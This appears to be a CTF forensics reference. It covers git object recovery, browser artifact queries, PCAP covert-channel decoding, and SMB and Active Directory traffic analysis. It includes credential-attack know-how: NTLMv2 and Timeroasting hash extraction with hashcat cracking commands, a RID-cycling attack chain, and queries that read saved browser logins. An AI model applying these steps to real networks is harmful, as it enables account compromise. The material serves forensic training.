Git Reflog and fsck for Squashed Commit Recovery (BearCatCTF 2026)
Pattern (Poem About Pirates): Git repository with clean history where data was overwritten and history rewritten via git rebase --squash. The original commits survive as orphaned objects.
Recovery steps:
git reflog --all
git fsck --unreachable --no-reflogs
git show <commit-hash>
git diff <commit-hash>^ <commit-hash>
git show <commit-hash>:path/to/file
Key insight: git rebase --squash removes commits from the branch history but doesn't delete the underlying objects. They remain as unreachable objects until garbage collection runs (git gc). Even after git gc, objects younger than the expiry period (default 2 weeks) survive. Always check git reflog and git fsck --unreachable when investigating git repos for hidden data.
Detection: Git repo with suspiciously clean history (single commit, or squash-merge commits). Challenge mentions "rewrite", "rebase", "squash", or "clean history".
Browser Artifact Analysis
Chrome/Chromium
sqlite3 "History" "SELECT url, title, datetime(last_visit_time/1000000-11644473600,'unixepoch') FROM urls ORDER BY last_visit_time DESC LIMIT 50;"
sqlite3 "History" "SELECT target_path, tab_url, datetime(start_time/1000000-11644473600,'unixepoch') FROM downloads;"
sqlite3 "Cookies" "SELECT host_key, name, datetime(expires_utc/1000000-11644473600,'unixepoch') FROM cookies;"
sqlite3 "Login Data" "SELECT origin_url, username_value FROM logins;"
cat Bookmarks | python3 -m json.tool | grep -A2 '"url"'
strings "Local Storage/leveldb/"*.ldb | grep -i flag
Firefox
ls ~/.mozilla/firefox/ | grep default
sqlite3 places.sqlite "SELECT url, title, datetime(last_visit_date/1000000,'unixepoch') FROM moz_places WHERE last_visit_date IS NOT NULL ORDER BY last_visit_date DESC LIMIT 50;"
sqlite3 formhistory.sqlite "SELECT fieldname, value FROM moz_formhistory;"
python3 -c "
import json, lz4.block
with open('sessionstore-backups/recovery.jsonlz4','rb') as f:
f.read(8) # skip magic
data = json.loads(lz4.block.decompress(f.read()))
for w in data['windows']:
for t in w['tabs']:
print(t['entries'][-1]['url'])
"
Key insight: Browser artifacts are SQLite databases with non-standard timestamp formats. Chrome uses WebKit epoch (microseconds since 1601-01-01), Firefox uses Unix epoch in microseconds. Always check History, Cookies, Login Data, Local Storage, and session restore files. For encrypted passwords, you need the master key (DPAPI on Windows, keychain on macOS, key4.db on Firefox).
Corrupted Git Blob Repair via Byte Brute-Force (CSAW CTF 2015)
Pattern (sharpturn): Git repository with corrupted blob objects. Since git identifies objects by SHA-1 hash, a single-byte corruption changes the hash, making the object unreadable. Repair by brute-forcing each byte position until git hash-object produces the expected hash.
import subprocess, shutil
def repair_blob(filepath, target_hash):
"""Brute-force single-byte corruption in a git blob."""
with open(filepath, 'rb') as f:
data = bytearray(f.read())
for pos in range(len(data)):
original = data[pos]
for val in range(256):
if val == original:
continue
data[pos] = val
with open(filepath, 'wb') as f:
f.write(data)
result = subprocess.run(
['git', 'hash-object', filepath],
capture_output=True, text=True
)
if result.stdout.strip() == target_hash:
print(f"Fixed byte {pos}: 0x{original:02x} -> 0x{val:02x}")
return True
data[pos] = original
with open(filepath, 'wb') as f:
f.write(data)
return False
Workflow:
git fsck to identify corrupted objects and their expected hashes
- Locate the corrupt blob files in
.git/objects/
- Decompress with
python3 -c "import zlib; print(zlib.decompress(open('blob','rb').read()))"
- Brute-force each byte position (256 values * file_size attempts)
- Verify with
git hash-object matching the expected hash
Key insight: Git's content-addressable storage means the expected SHA-1 hash is known from the commit tree, even when the blob is corrupted. Single-byte corruption is brute-forceable in seconds. For multi-byte corruption, combine with contextual knowledge (e.g., source code must compile, numeric constants must be valid).
CTF Forensics - Network (Advanced)
Table of Contents
Packet Interval Timing-Based Encoding (EHAX 2026)
Pattern (Breathing Void): Large PCAPNG with millions of packets, but only a few hundred on one interface carry data. The signal is in the timing gaps between identical packets, not their content.
Identification: Challenge mentions "breathing", "void", "silence", or timing. PCAP has many interfaces but only one has interesting traffic. Packets are identical but spaced at two distinct intervals.
Decoding workflow:
from scapy.all import rdpcap
packets = rdpcap('challenge.pcapng')
times = [float(pkt.time) for pkt in packets if pkt.sniffed_on == 'interface_2']
intervals = [times[i+1] - times[i] for i in range(len(times)-1)]
threshold = 0.05
bits = [0 if dt < threshold else 1 for dt in intervals]
bits = [0] + bits
data = bytes(int(''.join(str(b) for b in bits[i:i+8]), 2)
for i in range(0, len(bits) - 7, 8))
print(data.decode(errors='replace'))
Key insight: When identical packets appear on a single interface with only two practical interval values, it's almost certainly binary encoding via timing. The content is noise — the signal is in the gaps. Filter by interface and count unique intervals first.
Scale tip: Large PCAPs (millions of packets) often have the signal in a tiny subset. Triage with tshark -q -z io,phs to find which interface has the fewest packets — that's likely the data carrier.
USB HID Mouse/Pen Drawing Recovery (EHAX 2026)
Pattern (Painter): PCAP contains USB HID interrupt transfers from a mouse/pen device. Drawing data encoded as relative movements with multiple draw modes.
Packet format (7-byte HID reports):
| Byte | Field | Notes |
|---|
| 0 | Button state | 0x01 = pressed (may be constant) |
| 1 | Mode/pad | 0=hover, 1=draw mode 1, 2=draw mode 2 |
| 2-3 | dx (int16 LE) | Relative X movement |
| 4-5 | dy (int16 LE) | Relative Y movement |
| 6 | Wheel | Usually 0 |
Extraction and rendering:
import struct
from PIL import Image, ImageDraw
packets = []
with open('hid_data.txt') as f:
for line in f:
raw = bytes.fromhex(line.strip().replace(':', ''))
if len(raw) >= 7:
btn = raw[0]
mode = raw[1]
dx = struct.unpack('<h', raw[2:4])[0]
dy = struct.unpack('<h', raw[4:6])[0]
packets.append((btn, mode, dx, dy))
SCALE = 5
positions = {0: [], 1: [], 2: []}
x, y = 0, 0
for btn, mode, dx, dy in packets:
x += dx
y += dy
positions[mode].append((x, y))
for mode in [1, 2]:
pts = positions[mode]
if not pts:
continue
min_x = min(p[0] for p in pts) - 100
min_y = min(p[1] for p in pts) - 100
max_x = max(p[0] for p in pts) + 100
max_y = max(p[1] for p in pts) + 100
w = (max_x - min_x) * SCALE
h = (max_y - min_y) * SCALE
img = Image.new('RGB', (w, h), 'white')
draw = ImageDraw.Draw(img)
for i in range(1, len(pts)):
x0 = (pts[i-1][0] - min_x) * SCALE
y0 = (pts[i-1][1] - min_y) * SCALE
x1 = (pts[i][0] - min_x) * SCALE
y1 = (pts[i][1] - min_y) * SCALE
if abs(pts[i][0]-pts[i-1][0]) < 50 and abs(pts[i][1]-pts[i-1][1]) < 50:
draw.line([(x0,y0),(x1,y1)], fill='black', width=3)
img.save(f'mode_{mode}.png')
Key techniques:
- Separate modes: Different button/mode values draw different text layers — render each independently
- Skip pen lifts: Large dx/dy jumps indicate pen was lifted, not drawn — filter by distance threshold
- High resolution: Scale 5-8x with margins for readable handwriting
- Time gradient: Color points by temporal order (rainbow gradient) to trace stroke direction
- Character segmentation: Group consecutive same-mode points by large X gaps to isolate characters
Alternative: AWK extraction + SVG rendering (faster pipeline):
tshark -r pref.pcap -Y "usb.transfer_type==0x01 && usb.endpoint_address==0x81 && usb.capdata" \
-T fields -e usb.capdata > capdata.txt
awk '
function hexval(c){ return index("0123456789abcdef",tolower(c))-1 }
function hex2dec(h, n,i){ n=0; for(i=1;i<=length(h);i++) n=n*16+hexval(substr(h,i,1)); return n }
function s16(u){ return (u>=32768)?u-65536:u }
{ d=$1; if(length(d)!=14) next
btn=hex2dec(substr(d,3,2))
x=s16(hex2dec(substr(d,7,2) substr(d,5,2)))
y=s16(hex2dec(substr(d,11,2) substr(d,9,2)))
print btn, x, y }' capdata.txt > deltas.txt
Then render with SVG (Python) — filter on pen-down state (button=2), accumulate deltas, flip Y axis, draw strokes between consecutive pen-down points.
Difference from keyboard HID: Mouse HID uses relative movements (accumulated), keyboard uses keycodes (direct). Mouse drawing requires rendering; keyboard requires keymap lookup.
NTLMv2 Hash Cracking from PCAP (Pragyan 2026)
Pattern ($whoami): SMB2 authentication in packet capture.
Extraction: From NTLMSSP_AUTH packet, extract: server challenge, NTProofStr, and blob.
Brute-force with known password format:
import hashlib, hmac
from Crypto.Hash import MD4
def try_password(password, username, domain, server_challenge, blob, expected_proof):
nt_hash = MD4.new(password.encode('utf-16-le')).digest()
identity = (username.upper() + domain).encode('utf-16-le')
ntlmv2_hash = hmac.new(nt_hash, identity, hashlib.md5).digest()
proof = hmac.new(ntlmv2_hash, server_challenge + blob, hashlib.md5).digest()
return proof == expected_proof
TCP Flag Covert Channel (BearCatCTF 2026)
Pattern (pCapsized): Suspicious TCP packets with chaotic flag combinations (FIN+SYN, SYN+RST+PSH+URG, etc.). The 6 TCP flag bits encode base64 characters.
Decoding:
from scapy.all import rdpcap, TCP
pkts = rdpcap('capture.pcap')
suspicious = [p for p in pkts if TCP in p and p[TCP].dport == 5748]
b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
encoded = ''.join(b64[p[TCP].flags & 0x3F] for p in suspicious)
import base64
flag = base64.b64decode(encoded).decode()
Key insight: TCP has 6 standard flag bits (FIN, SYN, RST, PSH, ACK, URG) = values 0-63, matching the base64 alphabet exactly. Unusual flag combinations on otherwise normal-looking packets indicate covert channel usage. Filter by destination port or source IP to isolate the channel.
Detection: Packets with nonsensical flag combinations (e.g., FIN+SYN simultaneously). Consistent destination port. Packet count is a multiple of 4 (base64 alignment).
DNS Query Name Last-Byte Steganography (UTCTF 2026)
Pattern (Last Byte Standing): PCAP with DNS queries where data is encoded in the last byte of each query name.
Identification: Many DNS queries to unusual or sequential subdomains. The meaningful data is NOT in the query name itself but in the final byte/character of each name.
Decoding workflow:
from scapy.all import rdpcap, DNS, DNSQR
packets = rdpcap('last-byte-standing.pcap')
data = []
for pkt in packets:
if pkt.haslayer(DNSQR):
qname = pkt[DNSQR].qname.decode(errors='replace').rstrip('.')
if qname:
data.append(qname[-1])
message = ''.join(data)
print(message)
Variants:
- Last byte of each subdomain label (split on
.)
- Specific character position (first, Nth, last)
- Hex-encoded bytes across multiple queries
- Subdomain labels as base32/base64 chunks (DNS tunneling)
- Trailing byte after DNS question structure (see below)
Key insight: DNS exfiltration often hides data in query names. When queries look random but follow a pattern, extract specific character positions. The "last byte" pattern is simple but effective — each query contributes one byte to the message.
Detection: Large number of DNS queries to a single domain, queries with no legitimate purpose, sequential or patterned subdomain names.
DNS Trailing Byte Binary Encoding (UTCTF 2026)
Pattern (Last Byte Standing variant): Each DNS query packet contains a single extra byte appended AFTER the standard DNS question structure (after the null terminator + Type A + Class IN fields). The extra byte is 0x30 ('0') or 0x31 ('1'), encoding one bit per packet.
Decoding workflow:
from scapy.all import rdpcap, DNS, DNSQR, Raw
packets = rdpcap('challenge.pcap')
bits = []
for pkt in packets:
if pkt.haslayer(DNSQR):
raw = bytes(pkt[DNS])
qname = pkt[DNSQR].qname
expected_len = 12 + len(qname) + 1 + 2 + 2
if len(raw) > expected_len:
trailing = raw[expected_len:]
for b in trailing:
bits.append(chr(b))
bitstring = ''.join(bits)
flag = ''.join(chr(int(bitstring[i:i+8], 2)) for i in range(0, len(bitstring) - 7, 8))
print(flag)
Key insight: Data is hidden not in the DNS query name but in extra bytes padding the packet after the question record. Wireshark hex inspection reveals non-standard packet lengths. Each trailing byte represents ASCII '0' or '1', forming a binary stream that decodes to the flag.
Detection: DNS packets slightly larger than expected for their query name. Hex dump shows 0x30/0x31 bytes after the Class IN field (00 01). Consistent query domain across all packets.
Multi-Layer PCAP with XOR + ZIP (UTCTF 2026)
Pattern (Half Awake): PCAP with multiple protocol layers hiding data. Requires protocol-aware extraction, XOR decryption with a key found in-band, and merging parallel data streams.
Detailed workflow:
- Inspect HTTP streams for instructions or hints (e.g., "mDNS names are hints", "Not every TCP blob is what it pretends to be")
- Identify fake protocol streams: A TCP stream labeled as TLS may actually contain a raw ZIP file (PK magic bytes
50 4b). Check raw hex of suspicious streams
- Extract XOR key from mDNS: Look for mDNS TXT records (e.g.,
key.version.local) containing the XOR key
- XOR-decrypt the extracted data using the mDNS key
- Merge parallel datasets using printability as selector
import string
from scapy.all import rdpcap, Raw, DNS, DNSRR
packets = rdpcap('half-awake.pcap')
xor_key = None
for pkt in packets:
if pkt.haslayer(DNSRR):
rr = pkt[DNSRR]
if b'key' in rr.rrname.lower():
xor_key = int(rr.rdata, 16)
def xor_decrypt(data, key):
return bytes(b ^ key for b in data)
p1 = xor_decrypt(stage1_data, xor_key)
p2 = xor_decrypt(stage2_data, xor_key)
flag = ''.join(
chr(p1[i]) if chr(p1[i]) in string.printable and chr(p1[i]).isprintable()
else chr(p2[i])
for i in range(len(p1))
)
print(flag)
Key insight: When a PCAP contains two XOR-decoded byte arrays of equal length where neither alone produces readable text, merge them character-by-character using printability as the selector — take whichever byte at each position is a printable ASCII character. The XOR key is often hidden in an in-band protocol like mDNS TXT records rather than requiring brute-force.
Indicators:
- HTTP stream with meta-instructions ("not every TCP blob is what it pretends to be")
- TCP stream with mismatched protocol dissection (Wireshark shows TLS but raw bytes contain PK/ZIP headers)
- mDNS queries for suspicious service names (e.g.,
key.version.local)
- Two data files of identical length in extracted archive
Brotli Decompression Bomb Seam Analysis (BearCatCTF 2026)
Pattern (Cursed Map): HTTP download of a file that decompresses to gigabytes (decompression bomb). The flag is sandwiched between two bomb halves at a seam in the compressed data.
Identification: Compressed data shows a repeating block pattern (e.g., 105-byte period). One block breaks the pattern — the flag is at this discontinuity.
import brotli
with open('flag.txt.br', 'rb') as f:
data = f.read()
block_size = 105
for i in range(0, len(data) - block_size, block_size):
if data[i:i+block_size] != data[i+block_size:i+2*block_size]:
seam_offset = i + block_size
break
dec = brotli.Decompressor()
result = dec.process(data[seam_offset:seam_offset+block_size])
Key insight: Decompression bombs use highly repetitive compressed data. The flag breaks this repetition, creating a detectable anomaly in the compressed stream. Compare adjacent fixed-size blocks to find the discontinuity, then decompress only that region — no need to decompress the entire multi-gigabyte output.
Detection: File with extreme compression ratio (MB → GB), HTTP Content-Encoding: br, or file identified as Brotli. Tools hang or OOM when trying to decompress.
SMB RID Recycling via LSARPC (Midnight 2026)
Pattern (UntilTime): PCAP with SMB2 authentication followed by RPC calls over \pipe\lsarpc. The attacker enumerates Active Directory accounts by iterating RIDs (Relative Identifiers) through LSARPC functions.
Identification: SMB2 session setup with multiple authentication attempts (null session, Guest, random username), followed by RPC bind to LSARPC and repeated LsaLookupSids calls with incrementing RIDs.
Wireshark analysis:
tshark -r capture.pcapng -Y "ip.src == 198.51.100.16 && smb2.cmd == 1"
tshark -r capture.pcapng -Y "dcerpc.cn_bind_to_str contains lsarpc"
RPC call sequence:
LsaOpenPolicy — opens a policy handle on the target
LsaQueryInformationPolicy — extracts the domain SID (e.g., S-1-5-21-...)
LsaLookupSids — resolves SIDs to account names by iterating RIDs (1000, 1001, 1002, ...)
Key insight: Guest account authentication (often enabled by default) grants enough access to enumerate domain accounts via LSARPC. The attacker constructs SIDs by appending incrementing RIDs to the domain SID and calling LsaLookupSids for each. Valid accounts return their name; invalid RIDs return errors. This technique is called RID cycling or RID brute-forcing.
Detection indicators:
- Multiple
LsaLookupSids requests with sequential RIDs
- Guest authentication success followed by RPC pipe connection
- High volume of LSARPC traffic from a single source
Timeroasting / MS-SNTP Hash Extraction (Midnight 2026)
Pattern (UntilTime): After enumerating valid machine account RIDs via RID recycling, the attacker sends NTP requests with those RIDs to extract HMAC-MD5 authentication material from the domain controller's MS-SNTP responses.
Background: Microsoft's MS-SNTP extends standard NTP with Netlogon authentication in Active Directory environments. The client places a domain RID in the NTP Key Identifier field (4 bytes, little-endian). The domain controller responds with an HMAC-MD5 signature derived from the machine account's NTLM hash — leaking crackable authentication material.
Wireshark extraction:
tshark -r capture.pcapng -Y "ntp && ip.src == 10.16.13.13" -T fields -e udp.payload
Convert Key Identifier to RID:
echo "<key_id_hex>" | sed 's/\(..\)/\1 /g' | awk '{print "0x"$4$3$2$1}' | xargs printf "%d\n"
NTP response payload structure (68 bytes):
| Offset | Length | Field |
|---|
| 0-47 | 48 | Salt (NTP header + extensions) |
| 48-51 | 4 | Key Identifier (RID, little-endian) |
| 52-67 | 16 | HMAC-MD5 crypto-checksum |
Hash reconstruction for Hashcat (mode 31300):
import sys
from struct import unpack
def to_hashcat_form(hex_payload):
data = bytes.fromhex(hex_payload.strip())
salt = data[:48]
rid = unpack('<I', data[-20:-16])[0]
md5hash = data[-16:]
return f"{rid}:$sntp-ms${md5hash.hex()}${salt.hex()}"
if len(sys.argv) != 2:
print("Usage: python sntp_to_hashcat.py <hex_payload>")
sys.exit(1)
print(to_hashcat_form(sys.argv[1]))
Cracking with Hashcat:
hashcat -m 31300 -a 0 -O hashes.txt rockyou.txt --username
Example hash format:
1108:$sntp-ms$d7d0422d66705c6189c1d20aed76baa4$1c0111e900000000000a09314c4f434ced4c979d652b89f1e1b8428bffbfcd0aed4ca3bbb1338716ed4ca3bbb133cf3a
Key insight: MS-SNTP responses from domain controllers leak HMAC-MD5 authentication material tied to machine account NTLM hashes. Unlike Kerberoasting (which targets service accounts), Timeroasting targets machine accounts whose passwords are often weak or predictable (e.g., lowercase hostname). Any valid RID triggers a response — no special privileges required beyond network access to the DC's NTP service (UDP 123).
Full attack chain:
- Authenticate to SMB as Guest
- Enumerate valid RIDs via LSARPC RID recycling
- Send MS-SNTP requests with discovered RIDs
- Extract HMAC-MD5 hashes from NTP responses
- Crack offline with Hashcat mode 31300
See also: network.md for basic network forensics techniques (tcpdump, TLS/SSL decryption, Wireshark, port scanning, SMB3 decryption, credential extraction, 5G protocols).
UA-Gated C2 URL-Path Hex-XOR Exfil (source: idekCTF 2025)
Trigger: PCAP where only requests with a specific User-Agent (my-python-requests-useragent / custom string) receive non-default responses; URL paths look hex-encoded.
Signals: tshark filter http.user_agent == "..." isolates exactly the attacker flow; path segments are [0-9a-f]{16,}.
Mechanic: C2 pattern — UA as auth, URL-path as data channel. Pipeline:
tshark -r cap.pcap -Y 'http.user_agent contains "my-python"' -T fields -e http.request.full_uri
- URL-decode then hex-decode each path
- XOR against a password retrieved from a separate UA-gated endpoint (often returns the key once as the first response)
Automation: one-liner Python scanner included in
foreniq.sh for custom-UA flows.
CTF Forensics - Network
Table of Contents
tcpdump Quick Reference
Command-line packet capture tool for quick network forensics triage.
sudo tcpdump -i eth0
sudo tcpdump -i eth0 -w capture.pcap
sudo tcpdump -i eth0 src 192.168.1.100
sudo tcpdump -i eth0 dst port 80
sudo tcpdump -i eth0 -w packets.pcap 'src 172.22.206.250 and port 443'
tcpdump -r capture.pcap -v
tcpdump -r capture.pcap -A
tcpdump -r capture.pcap -X
tcpdump -r capture.pcap -q | wc -l
Common filters:
| Filter | Description |
|---|
host 10.0.0.1 | Traffic to/from IP |
net 192.168.1.0/24 | Entire subnet |
port 80 | HTTP traffic |
tcp / udp / icmp | Protocol filter |
src host X and dst port Y | Combined |
Key insight: Use tcpdump for quick command-line triage when Wireshark is unavailable. Pipe to strings or grep for fast flag hunting: tcpdump -r capture.pcap -A | grep -i flag.
TLS/SSL Decryption via Keylog File
To decrypt TLS traffic in Wireshark, provide either the pre-master secret or a keylog file.
Method 1 — SSLKEYLOGFILE (client-side key logging):
If the challenge provides a keylog file (or you can set SSLKEYLOGFILE):
export SSLKEYLOGFILE=/tmp/sslkeys.log
curl https://target/secret
Keylog file format (NSS Key Log Format):
CLIENT_RANDOM <32_bytes_client_random_hex> <48_bytes_master_secret_hex>
Method 2 — RSA private key (if server key is known):
Note: Only works with RSA key exchange. Sessions using forward secrecy (ECDHE/DHE cipher suites) cannot be decrypted with the server's private key — use Method 1 instead. CTF challenges with weak RSA keys typically use RSA key exchange.
tshark -r capture.pcap -o "tls.keys_list:127.0.0.1,443,http,server.key" -Y http
Method 3 — Weak RSA key factoring (see also linux-forensics.md):
tshark -r capture.pcap -Y "tls.handshake.type==11" -T fields -e tls.handshake.certificate | head -1
python rsatool.py -p <p> -q <q> -e 65537 -o server.key
SSL handshake components needed for decryption:
client_random — sent in ClientHello
server_random — sent in ServerHello
- Pre-master secret (PMS) — encrypted in ClientKeyExchange with server's RSA public key
Key insight: Look for keylog files (.log, sslkeys.txt) in challenge artifacts. If the challenge gives you a private key, use it directly. For weak RSA keys in certificates, factor the modulus to derive the private key.
Wireshark Basics
http.request.method == "POST"
tcp.stream eq 5
frame contains "flag"
File → Export Objects → HTTP
tshark -r capture.pcap -Y "http" -T fields -e http.file_data
tshark -r capture.pcap --export-objects http,/tmp/http_objects
Port Scan Analysis
tshark -r capture.pcap -q -z conv,ip
tshark -r capture.pcap -Y "tcp.flags.syn==1 && tcp.flags.ack==1" \
-T fields -e ip.src -e tcp.srcport | sort -u
Gateway/Device via MAC OUI
tshark -r capture.pcap -Y "arp" -T fields \
-e arp.src.hw_mac -e arp.src.proto_ipv4 | sort -u
curl -s "https://macvendors.com/query/88:bd:09"
WordPress Reconnaissance
Identify WPScan:
tshark -r capture.pcap -Y "http.user_agent contains \"WPScan\"" | head -1
WordPress version:
cat /tmp/http_objects/feed* | grep -i generator
Plugins:
tshark -r capture.pcap \
-Y "http.response.code == 200 && http.request.uri contains \"wp-content/plugins\"" \
-T fields -e http.request.uri | sort -u
Usernames (REST API):
cat /tmp/http_objects/*per_page* | jq '.[].name'
Post-Exploitation Traffic
Step 1: TCP conversations
tshark -r capture.pcap -q -z conv,tcp
Step 2: Established connections (SYN-ACK)
tshark -r capture.pcap -Y "tcp.flags.syn == 1 and tcp.flags.ack == 1" \
-T fields -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport | sort -u
Step 3: Follow TCP stream
tshark -r capture.pcap -q -z "follow,tcp,ascii,<stream_number>"
Reverse shell indicators:
bash: cannot set terminal process group
bash: no job control in this shell
- Shell prompts like
www-data@hostname:/path$
Credential Extraction
High-value files:
| Application | File | Format |
|---|
| WordPress | wp-config.php | define('DB_PASSWORD', '...') |
| Laravel | .env | DB_PASSWORD= |
| MySQL | /etc/mysql/debian.cnf | password = |
tshark -r capture.pcap -q -z "follow,tcp,ascii,<stream>" | grep -i "password"
SMB3 Encrypted Traffic
Step 1: Extract NTLMv2 hash
tshark -r capture.pcap -Y "ntlmssp.messagetype == 0x00000003" -T fields \
-e ntlmssp.ntlmv2_response.ntproofstr \
-e ntlmssp.auth.username
Step 2: Crack with hashcat
hashcat -m 5600 ntlmv2_hash.txt wordlist.txt
Step 3: Derive SMB 3.1.1 session keys (Python)
from Cryptodome.Cipher import AES, ARC4
from Cryptodome.Hash import MD4
import hmac, hashlib
def SP800_108_Counter_KDF(Ki, Label, Context, L):
n = (L // 256) + 1
result = b''
for i in range(1, n + 1):
data = i.to_bytes(4, 'big') + Label + b'\x00' + Context + L.to_bytes(4, 'big')
result += hmac.new(Ki, data, hashlib.sha256).digest()
return result[:L // 8]
nt_hash = MD4.new(password.encode('utf-16le')).digest()
response_key = hmac.new(nt_hash, (user.upper() + domain.upper()).encode('utf-16le'), hashlib.md5).digest()
key_exchange_key = hmac.new(response_key, ntproofstr, hashlib.md5).digest()
session_key = ARC4.new(key_exchange_key).encrypt(encrypted_session_key)
c2s_key = SP800_108_Counter_KDF(session_key, b"SMBC2SCipherKey\x00", preauth_hash, 128)
s2c_key = SP800_108_Counter_KDF(session_key, b"SMBS2CCipherKey\x00", preauth_hash, 128)
Step 4: Decrypt (AES-128-GCM)
def decrypt_smb311(transform_data, key):
signature = transform_data[4:20]
nonce = transform_data[20:32]
aad = transform_data[20:52]
encrypted = transform_data[52:]
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
cipher.update(aad)
return cipher.decrypt_and_verify(encrypted, signature)
5G/NR Protocol Analysis
Wireshark setup:
- Enable: NAS-5GS, RLC-NR, PDCP-NR, MAC-NR
SMS in 5G (3GPP TS 23.040):
| IEI | Format |
|---|
| 0x0c | iMelody (ringtone) |
| 0x0e | Large Animation (16×16) |
| 0x18 | WVG (vector graphics) |
iMelody to Morse:
- Notes like
c4c4c4r2 encode dots/dashes